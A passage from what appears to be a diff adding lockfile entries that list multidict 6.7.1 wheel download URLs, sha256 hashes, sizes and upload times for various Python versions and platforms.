+ { url = "https://files.pythonhosted.org/packages/31/6e/d8a26d81ac166a5592782d208dd90dfdc0a7a218adaa52b45a672b46c122/multidict-6.7.1-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:3758692429e4e32f1ba0df23219cd0b4fc0a52f476726fff9337d1a57676a582", size = 253955, upload-time = "2026-01-26T02:44:04.845Z" },
+ { url = "https://files.pythonhosted.org/packages/59/4c/7c672c8aad41534ba619bcd4ade7a0dc87ed6b8b5c06149b85d3dd03f0cd/multidict-6.7.1-cp312-cp312-musllinux_1_2_armv7l.whl", hash = "sha256:398c1478926eca669f2fd6a5856b6de9c0acf23a2cb59a14c0ba5844fa38077e", size = 251254, upload-time = "2026-01-26T02:44:06.133Z" },
+ { url = "https://files.pythonhosted.org/packages/7b/bd/84c24de512cbafbdbc39439f74e967f19570ce7924e3007174a29c348916/multidict-6.7.1-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:c102791b1c4f3ab36ce4101154549105a53dc828f016356b3e3bcae2e3a039d3", size = 252059, upload-time = "2026-01-26T02:44:07.518Z" },
+ { url = "https://files.pythonhosted.org/packages/fa/ba/f5449385510825b73d01c2d4087bf6d2fccc20a2d42ac34df93191d3dd03/multidict-6.7.1-cp312-cp312-musllinux_1_2_ppc64le.whl", hash = "sha256:a088b62bd733e2ad12c50dad01b7d0166c30287c166e137433d3b410add807a6", size = 263588, upload-time = "2026-01-26T02:44:09.382Z" },
+ { url = "https://files.pythonhosted.org/packages/d7/11/afc7c677f68f75c84a69fe37184f0f82fce13ce4b92f49f3db280b7e92b3/multidict-6.7.1-cp312-cp312-musllinux_1_2_s390x.whl", hash = "sha256:3d51ff4785d58d3f6c91bdbffcb5e1f7ddfda557727043aa20d20ec4f65e324a", size = 259642, upload-time = "2026-01-26T02:44:10.73Z" },
+ { url = "https://files.pythonhosted.org/packages/2b/17/ebb9644da78c4ab36403739e0e6e0e30ebb135b9caf3440825001a0bddcb/multidict-6.7.1-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:fc5907494fccf3e7d3f94f95c91d6336b092b5fc83811720fae5e2765890dfba", size = 251377, upload-time = "2026-01-26T02:44:12.042Z" },
+ { url = "https://files.pythonhosted.org/packages/ca/a4/840f5b97339e27846c46307f2530a2805d9d537d8b8bd416af031cad7fa0/multidict-6.7.1-cp312-cp312-win32.whl", hash = "sha256:28ca5ce2fd9716631133d0e9a9b9a745ad7f60bac2bccafb56aa380fc0b6c511", size = 41887, upload-time = "2026-01-26T02:44:14.245Z" },
+ { url = "https://files.pythonhosted.org/packages/80/31/0b2517913687895f5904325c2069d6a3b78f66cc641a86a2baf75a05dcbb/multidict-6.7.1-cp312-cp312-win_amd64.whl", hash = "sha256:fcee94dfbd638784645b066074b338bc9cc155d4b4bffa4adce1615c5a426c19", size = 46053, upload-time = "2026-01-26T02:44:15.371Z" },
+ { url = "https://files.pythonhosted.org/packages/0c/5b/aba28e4ee4006ae4c7df8d327d31025d760ffa992ea23812a601d226e682/multidict-6.7.1-cp312-cp312-win_arm64.whl", hash = "sha256:ba0a9fb644d0c1a2194cf7ffb043bd852cea63a57f66fbd33959f7dae18517bf", size = 43307, upload-time = "2026-01-26T02:44:16.852Z" },
+ { url = "https://files.pythonhosted.org/packages/f2/22/929c141d6c0dba87d3e1d38fbdf1ba8baba86b7776469f2bc2d3227a1e67/multidict-6.7.1-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:2b41f5fed0ed563624f1c17630cb9941cf2309d4df00e494b551b5f3e3d67a23", size = 76174, upload-time = "2026-01-26T02:44:18.509Z" },
+ { url = "https://files.pythonhosted.org/packages/c7/75/bc704ae15fee974f8fccd871305e254754167dce5f9e42d88a2def741a1d/multidict-6.7.1-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:84e61e3af5463c19b67ced91f6c634effb89ef8bfc5ca0267f954451ed4bb6a2", size = 45116, upload-time = "2026-01-26T02:44:19.745Z" },
+ { url = "https://files.pythonhosted.org/packages/79/76/55cd7186f498ed080a18440c9013011eb548f77ae1b297206d030eb1180a/multidict-6.7.1-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:935434b9853c7c112eee7ac891bc4cb86455aa631269ae35442cb316790c1445", size = 43524, upload-time = "2026-01-26T02:44:21.571Z" },
+ { url = "https://files.pythonhosted.org/packages/e9/3c/414842ef8d5a1628d68edee29ba0e5bcf235dbfb3ccd3ea303a7fe8c72ff/multidict-6.7.1-cp313-cp313-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:432feb25a1cb67fe82a9680b4d65fb542e4635cb3166cd9c01560651ad60f177", size = 249368, upload-time = "2026-01-26T02:44:22.803Z" },
+ { url = "https://files.pythonhosted.org/packages/f6/32/befed7f74c458b4a525e60519fe8d87eef72bb1e99924fa2b0f9d97a221e/multidict-6.7.1-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:e82d14e3c948952a1a85503817e038cba5905a3352de76b9a465075d072fba23", size = 256952, upload-time = "2026-01-26T02:44:24.306Z" },
+ { url = "https://files.pythonhosted.org/packages/03/d6/c878a44ba877f366630c860fdf74bfb203c33778f12b6ac274936853c451/multidict-6.7.1-cp313-cp313-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:4cfb48c6ea66c83bcaaf7e4dfa7ec1b6bbcf751b7db85a328902796dfde4c060", size = 240317, upload-time = "2026-01-26T02:44:25.772Z" },
+ { url = "https://files.pythonhosted.org/packages/68/49/57421b4d7ad2e9e60e25922b08ceb37e077b90444bde6ead629095327a6f/multidict-6.7.1-cp313-cp313-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:1d540e51b7e8e170174555edecddbd5538105443754539193e3e1061864d444d", size = 267132, upload-time = "2026-01-26T02:44:27.648Z" },
+ { url = "https://files.pythonhosted.org/packages/b7/fe/ec0edd52ddbcea2a2e89e174f0206444a61440b40f39704e64dc807a70bd/multidict-6.7.1-cp313-cp313-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:273d23f4b40f3dce4d6c8a821c741a86dec62cded82e1175ba3d99be128147ed", size = 268140, upload-time = "2026-01-26T02:44:29.588Z" },
+ { url = "https://files.pythonhosted.org/packages/b0/73/6e1b01cbeb458807aa0831742232dbdd1fa92bfa33f52a3f176b4ff3dc11/multidict-6.7.1-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:9d624335fd4fa1c08a53f8b4be7676ebde19cd092b3895c421045ca87895b429", size = 254277, upload-time = "2026-01-26T02:44:30.902Z" },
+ { url = "https://files.pythonhosted.org/packages/6a/b2/5fb8c124d7561a4974c342bc8c778b471ebbeb3cc17df696f034a7e9afe7/multidict-6.7.1-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:12fad252f8b267cc75b66e8fc51b3079604e8d43a75428ffe193cd9e2195dfd6", size = 252291, upload-time = "2026-01-26T02:44:32.31Z" },
+ { url = "https://files.pythonhosted.org/packages/5a/96/51d4e4e06bcce92577fcd488e22600bd38e4fd59c20cb49434d054903bd2/multidict-6.7.1-cp313-cp313-musllinux_1_2_armv7l.whl", hash = "sha256:03ede2a6ffbe8ef936b92cb4529f27f42be7f56afcdab5ab739cd5f27fb1cbf9", size = 250156, upload-time = "2026-01-26T02:44:33.734Z" },
+ { url = "https://files.pythonhosted.org/packages/db/6b/420e173eec5fba721a50e2a9f89eda89d9c98fded1124f8d5c675f7a0c0f/multidict-6.7.1-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:90efbcf47dbe33dcf643a1e400d67d59abeac5db07dc3f27d6bdeae497a2198c", size = 249742, upload-time = "2026-01-26T02:44:35.222Z" },
+ { url = "https://files.pythonhosted.org/packages/44/a3/ec5b5bd98f306bc2aa297b8c6f11a46714a56b1e6ef5ebda50a4f5d7c5fb/multidict-6.7.1-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:5c4b9bfc148f5a91be9244d6264c53035c8a0dcd2f51f1c3c6e30e30ebaa1c84", size = 262221, upload-time = "2026-01-26T02:44:36.604Z" },
+ { url = "https://files.pythonhosted.org/packages/cd/f7/e8c0d0da0cd1e28d10e624604e1a36bcc3353aaebdfdc3a43c72bc683a12/multidict-6.7.1-cp313-cp313-musllinux_1_2_s390x.whl", hash = "sha256:401c5a650f3add2472d1d288c26deebc540f99e2fb83e9525007a74cd2116f1d", size = 258664, upload-time = "2026-01-26T02:44:38.008Z" },
+ { url = "https://files.pythonhosted.org/packages/52/da/151a44e8016dd33feed44f730bd856a66257c1ee7aed4f44b649fb7edeb3/multidict-6.7.1-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:97891f3b1b3ffbded884e2916cacf3c6fc87b66bb0dde46f7357404750559f33", size = 249490, upload-time = "2026-01-26T02:44:39.386Z" },
+ { url = "https://files.pythonhosted.org/packages/87/af/a3b86bf9630b732897f6fc3f4c4714b90aa4361983ccbdcd6c0339b21b0c/multidict-6.7.1-cp313-cp313-win32.whl", hash = "sha256:e1c5988359516095535c4301af38d8a8838534158f649c05dd1050222321bcb3", size = 41695, upload-time = "2026-01-26T02:44:41.318Z" },
+ { url = "https://files.pythonhosted.org/packages/b2/35/e994121b0e90e46134673422dd564623f93304614f5d11886b1b3e06f503/multidict-6.7.1-cp313-cp313-win_amd64.whl", hash = "sha256:960c83bf01a95b12b08fd54324a4eb1d5b52c88932b5cba5d6e712bb3ed12eb5", size = 45884, upload-time = "2026-01-26T02:44:42.488Z" },
+ { url = "https://files.pythonhosted.org/packages/ca/61/42d3e5dbf661242a69c97ea363f2d7b46c567da8eadef8890022be6e2ab0/multidict-6.7.1-cp313-cp313-win_arm64.whl", hash = "sha256:563fe25c678aaba333d5399408f5ec3c383ca5b663e7f774dd179a520b8144df", size = 43122, upload-time = "2026-01-26T02:44:43.664Z" },
+ { url = "https://files.pythonhosted.org/packages/6d/b3/e6b21c6c4f314bb956016b0b3ef2162590a529b84cb831c257519e7fde44/multidict-6.7.1-cp313-cp313t-macosx_10_13_universal2.whl", hash = "sha256:c76c4bec1538375dad9d452d246ca5368ad6e1c9039dadcf007ae59c70619ea1", size = 83175, upload-time = "2026-01-26T02:44:44.894Z" },
+ { url = "https://files.pythonhosted.org/packages/fb/76/23ecd2abfe0957b234f6c960f4ade497f55f2c16aeb684d4ecdbf1c95791/multidict-6.7.1-cp313-cp313t-macosx_10_13_x86_64.whl", hash = "sha256:57b46b24b5d5ebcc978da4ec23a819a9402b4228b8a90d9c656422b4bdd8a963", size = 48460, upload-time = "2026-01-26T02:44:46.106Z" },
+ { url = "https://files.pythonhosted.org/packages/c4/57/a0ed92b23f3a042c36bc4227b72b97eca803f5f1801c1ab77c8a212d455e/multidict-6.7.1-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:e954b24433c768ce78ab7929e84ccf3422e46deb45a4dc9f93438f8217fa2d34", size = 46930, upload-time = "2026-01-26T02:44:47.278Z" },
+ { url = "https://files.pythonhosted.org/packages/b5/66/02ec7ace29162e447f6382c495dc95826bf931d3818799bbef11e8f7df1a/multidict-6.7.1-cp313-cp313t-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:3bd231490fa7217cc832528e1cd8752a96f0125ddd2b5749390f7c3ec8721b65", size = 242582, upload-time = "2026-01-26T02:44:48.604Z" },
+ { url = "https://files.pythonhosted.org/packages/58/18/64f5a795e7677670e872673aca234162514696274597b3708b2c0d276cce/multidict-6.7.1-cp313-cp313t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:253282d70d67885a15c8a7716f3a73edf2d635793ceda8173b9ecc21f2fb8292", size = 250031, upload-time = "2026-01-26T02:44:50.544Z" },
+ { url = "https://files.pythonhosted.org/packages/c8/ed/e192291dbbe51a8290c5686f482084d31bcd9d09af24f63358c3d42fd284/multidict-6.7.1-cp313-cp313t-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:0b4c48648d7649c9335cf1927a8b87fa692de3dcb15faa676c6a6f1f1aabda43", size = 228596, upload-time = "2026-01-26T02:44:51.951Z" },
+ { url = "https://files.pythonhosted.org/packages/1e/7e/3562a15a60cf747397e7f2180b0a11dc0c38d9175a650e75fa1b4d325e15/multidict-6.7.1-cp313-cp313t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:98bc624954ec4d2c7cb074b8eefc2b5d0ce7d482e410df446414355d158fe4ca", size = 257492, upload-time = "2026-01-26T02:44:53.902Z" },
+ { url = "https://files.pythonhosted.org/packages/24/02/7d0f9eae92b5249bb50ac1595b295f10e263dd0078ebb55115c31e0eaccd/multidict-6.7.1-cp313-cp313t-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:1b99af4d9eec0b49927b4402bcbb58dea89d3e0db8806a4086117019939ad3dd", size = 255899, upload-time = "2026-01-26T02:44:55.316Z" },
+ { url = "https://files.pythonhosted.org/packages/00/e3/9b60ed9e23e64c73a5cde95269ef1330678e9c6e34dd4eb6b431b85b5a10/multidict-6.7.1-cp313-cp313t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:6aac4f16b472d5b7dc6f66a0d49dd57b0e0902090be16594dc9ebfd3d17c47e7", size = 247970, upload-time = "2026-01-26T02:44:56.783Z" },
+ { url = "https://files.pythonhosted.org/packages/3e/06/538e58a63ed5cfb0bd4517e346b91da32fde409d839720f664e9a4ae4f9d/multidict-6.7.1-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:21f830fe223215dffd51f538e78c172ed7c7f60c9b96a2bf05c4848ad49921c3", size = 245060, upload-time = "2026-01-26T02:44:58.195Z" },
+ { url = "https://files.pythonhosted.org/packages/b2/2f/d743a3045a97c895d401e9bd29aaa09b94f5cbdf1bd561609e5a6c431c70/multidict-6.7.1-cp313-cp313t-musllinux_1_2_armv7l.whl", hash = "sha256:f5dd81c45b05518b9aa4da4aa74e1c93d715efa234fd3e8a179df611cc85e5f4", size = 235888, upload-time = "2026-01-26T02:44:59.57Z" },
+ { url = "https://files.pythonhosted.org/packages/38/83/5a325cac191ab28b63c52f14f1131f3b0a55ba3b9aa65a6d0bf2a9b921a0/multidict-6.7.1-cp313-cp313t-musllinux_1_2_i686.whl", hash = "sha256:eb304767bca2bb92fb9c5bd33cedc95baee5bb5f6c88e63706533a1c06ad08c8", size = 243554, upload-time = "2026-01-26T02:45:01.054Z" },
+ { url = "https://files.pythonhosted.org/packages/20/1f/9d2327086bd15da2725ef6aae624208e2ef828ed99892b17f60c344e57ed/multidict-6.7.1-cp313-cp313t-musllinux_1_2_ppc64le.whl", hash = "sha256:c9035dde0f916702850ef66460bc4239d89d08df4d02023a5926e7446724212c", size = 252341, upload-time = "2026-01-26T02:45:02.484Z" },
+ { url = "https://files.pythonhosted.org/packages/e8/2c/2a1aa0280cf579d0f6eed8ee5211c4f1730bd7e06c636ba2ee6aafda302e/multidict-6.7.1-cp313-cp313t-musllinux_1_2_s390x.whl", hash = "sha256:af959b9beeb66c822380f222f0e0a1889331597e81f1ded7f374f3ecb0fd6c52", size = 246391, upload-time = "2026-01-26T02:45:03.862Z" },
+ { url = "https://files.pythonhosted.org/packages/e5/03/7ca022ffc36c5a3f6e03b179a5ceb829be9da5783e6fe395f347c0794680/multidict-6.7.1-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:41f2952231456154ee479651491e94118229844dd7226541788be783be2b5108", size = 243422, upload-time = "2026-01-26T02:45:05.296Z" },
+ { url = "https://files.pythonhosted.org/packages/dc/1d/b31650eab6c5778aceed46ba735bd97f7c7d2f54b319fa916c0f96e7805b/multidict-6.7.1-cp313-cp313t-win32.whl", hash = "sha256:df9f19c28adcb40b6aae30bbaa1478c389efd50c28d541d76760199fc1037c32", size = 47770, upload-time = "2026-01-26T02:45:06.754Z" },
+ { url = "https://files.pythonhosted.org/packages/ac/5b/2d2d1d522e51285bd61b1e20df8f47ae1a9d80839db0b24ea783b3832832/multidict-6.7.1-cp313-cp313t-win_amd64.whl", hash = "sha256:d54ecf9f301853f2c5e802da559604b3e95bb7a3b01a9c295c6ee591b9882de8", size = 53109, upload-time = "2026-01-26T02:45:08.044Z" },
+ { url = "https://files.pythonhosted.org/packages/3d/a3/cc409ba012c83ca024a308516703cf339bdc4b696195644a7215a5164a24/multidict-6.7.1-cp313-cp313t-win_arm64.whl", hash = "sha256:5a37ca18e360377cfda1d62f5f382ff41f2b8c4ccb329ed974cc2e1643440118", size = 45573, upload-time = "2026-01-26T02:45:09.349Z" },
+ { url = "https://files.pythonhosted.org/packages/91/cc/db74228a8be41884a567e88a62fd589a913708fcf180d029898c17a9a371/multidict-6.7.1-cp314-cp314-macosx_10_15_universal2.whl", hash = "sha256:8f333ec9c5eb1b7105e3b84b53141e66ca05a19a605368c55450b6ba208cb9ee", size = 75190, upload-time = "2026-01-26T02:45:10.651Z" },
+ { url = "https://files.pythonhosted.org/packages/d5/22/492f2246bb5b534abd44804292e81eeaf835388901f0c574bac4eeec73c5/multidict-6.7.1-cp314-cp314-macosx_10_15_x86_64.whl", hash = "sha256:a407f13c188f804c759fc6a9f88286a565c242a76b27626594c133b82883b5c2", size = 44486, upload-time = "2026-01-26T02:45:11.938Z" },
+ { url = "https://files.pythonhosted.org/packages/f1/4f/733c48f270565d78b4544f2baddc2fb2a245e5a8640254b12c36ac7ac68e/multidict-6.7.1-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:0e161ddf326db5577c3a4cc2d8648f81456e8a20d40415541587a71620d7a7d1", size = 43219, upload-time = "2026-01-26T02:45:14.346Z" },
+ { url = "https://files.pythonhosted.org/packages/24/bb/2c0c2287963f4259c85e8bcbba9182ced8d7fca65c780c38e99e61629d11/multidict-6.7.1-cp314-cp314-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:1e3a8bb24342a8201d178c3b4984c26ba81a577c80d4d525727427460a50c22d", size = 245132, upload-time = "2026-01-26T02:45:15.712Z" },
+ { url = "https://files.pythonhosted.org/packages/a7/f9/44d4b3064c65079d2467888794dea218d1601898ac50222ab8a9a8094460/multidict-6.7.1-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:97231140a50f5d447d3164f994b86a0bed7cd016e2682f8650d6a9158e14fd31", size = 252420, upload-time = "2026-01-26T02:45:17.293Z" },
+ { url = "https://files.pythonhosted.org/packages/8b/13/78f7275e73fa17b24c9a51b0bd9d73ba64bb32d0ed51b02a746eb876abe7/multidict-6.7.1-cp314-cp314-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:6b10359683bd8806a200fd2909e7c8ca3a7b24ec1d8132e483d58e791d881048", size = 233510, upload-time = "2026-01-26T02:45:19.356Z" },
+ { url = "https://files.pythonhosted.org/packages/4b/25/8167187f62ae3cbd52da7893f58cb036b47ea3fb67138787c76800158982/multidict-6.7.1-cp314-cp314-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:283ddac99f7ac25a4acadbf004cb5ae34480bbeb063520f70ce397b281859362", size = 264094, upload-time = "2026-01-26T02:45:20.834Z" },
+ { url = "https://files.pythonhosted.org/packages/a1/e7/69a3a83b7b030cf283fb06ce074a05a02322359783424d7edf0f15fe5022/multidict-6.7.1-cp314-cp314-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:538cec1e18c067d0e6103aa9a74f9e832904c957adc260e61cd9d8cf0c3b3d37", size = 260786, upload-time = "2026-01-26T02:45:22.818Z" },
+ { url = "https://files.pythonhosted.org/packages/fe/3b/8ec5074bcfc450fe84273713b4b0a0dd47c0249358f5d82eb8104ffe2520/multidict-6.7.1-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:7eee46ccb30ff48a1e35bb818cc90846c6be2b68240e42a78599166722cea709", size = 248483, upload-time = "2026-01-26T02:45:24.368Z" },
+ { url = "https://files.pythonhosted.org/packages/48/5a/d5a99e3acbca0e29c5d9cba8f92ceb15dce78bab963b308ae692981e3a5d/multidict-6.7.1-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:fa263a02f4f2dd2d11a7b1bb4362aa7cb1049f84a9235d31adf63f30143469a0", size = 248403, upload-time = "2026-01-26T02:45:25.982Z" },
+ { url = "https://files.pythonhosted.org/packages/35/48/e58cd31f6c7d5102f2a4bf89f96b9cf7e00b6c6f3d04ecc44417c00a5a3c/multidict-6.7.1-cp314-cp314-musllinux_1_2_armv7l.whl", hash = "sha256:2e1425e2f99ec5bd36c15a01b690a1a2456209c5deed58f95469ffb46039ccbb", size = 240315, upload-time = "2026-01-26T02:45:27.487Z" },
+ { url = "https://files.pythonhosted.org/packages/94/33/1cd210229559cb90b6786c30676bb0c58249ff42f942765f88793b41fdce/multidict-6.7.1-cp314-cp314-musllinux_1_2_i686.whl", hash = "sha256:497394b3239fc6f0e13a78a3e1b61296e72bf1c5f94b4c4eb80b265c37a131cd", size = 245528, upload-time = "2026-01-26T02:45:28.991Z" },
+ { url = "https://files.pythonhosted.org/packages/64/f2/6e1107d226278c876c783056b7db43d800bb64c6131cec9c8dfb6903698e/multidict-6.7.1-cp314-cp314-musllinux_1_2_ppc64le.whl", hash = "sha256:233b398c29d3f1b9676b4b6f75c518a06fcb2ea0b925119fb2c1bc35c05e1601", size = 258784, upload-time = "2026-01-26T02:45:30.503Z" },
+ { url = "https://files.pythonhosted.org/packages/4d/c1/11f664f14d525e4a1b5327a82d4de61a1db604ab34c6603bb3c2cc63ad34/multidict-6.7.1-cp314-cp314-musllinux_1_2_s390x.whl", hash = "sha256:93b1818e4a6e0930454f0f2af7dfce69307ca03cdcfb3739bf4d91241967b6c1", size = 251980, upload-time = "2026-01-26T02:45:32.603Z" },
+ { url = "https://files.pythonhosted.org/packages/e1/9f/75a9ac888121d0c5bbd4ecf4eead45668b1766f6baabfb3b7f66a410e231/multidict-6.7.1-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:f33dc2a3abe9249ea5d8360f969ec7f4142e7ac45ee7014d8f8d5acddf178b7b", size = 243602, upload-time = "2026-01-26T02:45:34.043Z" },
+ { url = "https://files.pythonhosted.org/packages/9a/e7/50bf7b004cc8525d80dbbbedfdc7aed3e4c323810890be4413e589074032/multidict-6.7.1-cp314-cp314-win32.whl", hash = "sha256:3ab8b9d8b75aef9df299595d5388b14530839f6422333357af1339443cff777d", size = 40930, upload-time = "2026-01-26T02:45:36.278Z" },
+ { url = "https://files.pythonhosted.org/packages/e0/bf/52f25716bbe93745595800f36fb17b73711f14da59ed0bb2eba141bc9f0f/multidict-6.7.1-cp314-cp314-win_amd64.whl", hash = "sha256:5e01429a929600e7dab7b166062d9bb54a5eed752384c7384c968c2afab8f50f", size = 45074, upload-time = "2026-01-26T02:45:37.546Z" },
+ { url = "https://files.pythonhosted.org/packages/97/ab/22803b03285fa3a525f48217963da3a65ae40f6a1b6f6cf2768879e208f9/multidict-6.7.1-cp314-cp314-win_arm64.whl", hash = "sha256:4885cb0e817aef5d00a2e8451d4665c1808378dc27c2705f1bf4ef8505c0d2e5", size = 42471, upload-time = "2026-01-26T02:45:38.889Z" },
+ { url = "https://files.pythonhosted.org/packages/e0/6d/f9293baa6146ba9507e360ea0292b6422b016907c393e2f63fc40ab7b7b5/multidict-6.7.1-cp314-cp314t-macosx_10_15_universal2.whl", hash = "sha256:0458c978acd8e6ea53c81eefaddbbee9c6c5e591f41b3f5e8e194780fe026581", size = 82401, upload-time = "2026-01-26T02:45:40.254Z" },
+ { url = "https://files.pythonhosted.org/packages/7a/68/53b5494738d83558d87c3c71a486504d8373421c3e0dbb6d0db48ad42ee0/multidict-6.7.1-cp314-cp314t-macosx_10_15_x86_64.whl", hash = "sha256:c0abd12629b0af3cf590982c0b413b1e7395cd4ec026f30986818ab95bfaa94a", size = 48143, upload-time = "2026-01-26T02:45:41.635Z" },
+ { url = "https://files.pythonhosted.org/packages/37/e8/5284c53310dcdc99ce5d66563f6e5773531a9b9fe9ec7a615e9bc306b05f/multidict-6.7.1-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:14525a5f61d7d0c94b368a42cff4c9a4e7ba2d52e2672a7b23d84dc86fb02b0c", size = 46507, upload-time = "2026-01-26T02:45:42.99Z" },
+ { url = "https://files.pythonhosted.org/packages/e4/fc/6800d0e5b3875568b4083ecf5f310dcf91d86d52573160834fb4bfcf5e4f/multidict-6.7.1-cp314-cp314t-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:17307b22c217b4cf05033dabefe68255a534d637c6c9b0cc8382718f87be4262", size = 239358, upload-time = "2026-01-26T02:45:44.376Z" },
+ { url = "https://files.pythonhosted.org/packages/41/75/4ad0973179361cdf3a113905e6e088173198349131be2b390f9fa4da5fc6/multidict-6.7.1-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:7a7e590ff876a3eaf1c02a4dfe0724b6e69a9e9de6d8f556816f29c496046e59", size = 246884, upload-time = "2026-01-26T02:45:47.167Z" },
+ { url = "https://files.pythonhosted.org/packages/c3/9c/095bb28b5da139bd41fb9a5d5caff412584f377914bd8787c2aa98717130/multidict-6.7.1-cp314-cp314t-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:5fa6a95dfee63893d80a34758cd0e0c118a30b8dcb46372bf75106c591b77889", size = 225878, upload-time = "2026-01-26T02:45:48.698Z" },
+ { url = "https://files.pythonhosted.org/packages/07/d0/c0a72000243756e8f5a277b6b514fa005f2c73d481b7d9e47cd4568aa2e4/multidict-6.7.1-cp314-cp314t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:a0543217a6a017692aa6ae5cc39adb75e587af0f3a82288b1492eb73dd6cc2a4", size = 253542, upload-time = "2026-01-26T02:45:50.164Z" },
+ { url = "https://files.pythonhosted.org/packages/c0/6b/f69da15289e384ecf2a68837ec8b5ad8c33e973aa18b266f50fe55f24b8c/multidict-6.7.1-cp314-cp314t-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:f99fe611c312b3c1c0ace793f92464d8cd263cc3b26b5721950d977b006b6c4d", size = 252403, upload-time = "2026-01-26T02:45:51.779Z" },
+ { url = "https://files.pythonhosted.org/packages/a2/76/b9669547afa5a1a25cd93eaca91c0da1c095b06b6d2d8ec25b713588d3a1/multidict-6.7.1-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:9004d8386d133b7e6135679424c91b0b854d2d164af6ea3f289f8f2761064609", size = 244889, upload-time = "2026-01-26T02:45:53.27Z" },
+ { url = "https://files.pythonhosted.org/packages/7e/a9/a50d2669e506dad33cfc45b5d574a205587b7b8a5f426f2fbb2e90882588/multidict-6.7.1-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:e628ef0e6859ffd8273c69412a2465c4be4a9517d07261b33334b5ec6f3c7489", size = 241982, upload-time = "2026-01-26T02:45:54.919Z" },
+ { url = "https://files.pythonhosted.org/packages/c5/bb/1609558ad8b456b4827d3c5a5b775c93b87878fd3117ed3db3423dfbce1b/multidict-6.7.1-cp314-cp314t-musllinux_1_2_armv7l.whl", hash = "sha256:841189848ba629c3552035a6a7f5bf3b02eb304e9fea7492ca220a8eda6b0e5c", size = 232415, upload-time = "2026-01-26T02:45:56.981Z" },
+ { url = "https://files.pythonhosted.org/packages/d8/59/6f61039d2aa9261871e03ab9dc058a550d240f25859b05b67fd70f80d4b3/multidict-6.7.1-cp314-cp314t-musllinux_1_2_i686.whl", hash = "sha256:ce1bbd7d780bb5a0da032e095c951f7014d6b0a205f8318308140f1a6aba159e", size = 240337, upload-time = "2026-01-26T02:45:58.698Z" },
+ { url = "https://files.pythonhosted.org/packages/a1/29/fdc6a43c203890dc2ae9249971ecd0c41deaedfe00d25cb6564b2edd99eb/multidict-6.7.1-cp314-cp314t-musllinux_1_2_ppc64le.whl", hash = "sha256:b26684587228afed0d50cf804cc71062cc9c1cdf55051c4c6345d372947b268c", size = 248788, upload-time = "2026-01-26T02:46:00.862Z" },
+ { url = "https://files.pythonhosted.org/packages/a9/14/a153a06101323e4cf086ecee3faadba52ff71633d471f9685c42e3736163/multidict-6.7.1-cp314-cp314t-musllinux_1_2_s390x.whl", hash = "sha256:9f9af11306994335398293f9958071019e3ab95e9a707dc1383a35613f6abcb9", size = 242842, upload-time = "2026-01-26T02:46:02.824Z" },
+ { url = "https://files.pythonhosted.org/packages/41/5f/604ae839e64a4a6efc80db94465348d3b328ee955e37acb24badbcd24d83/multidict-6.7.1-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:b4938326284c4f1224178a560987b6cf8b4d38458b113d9b8c1db1a836e640a2", size = 240237, upload-time = "2026-01-26T02:46:05.898Z" },
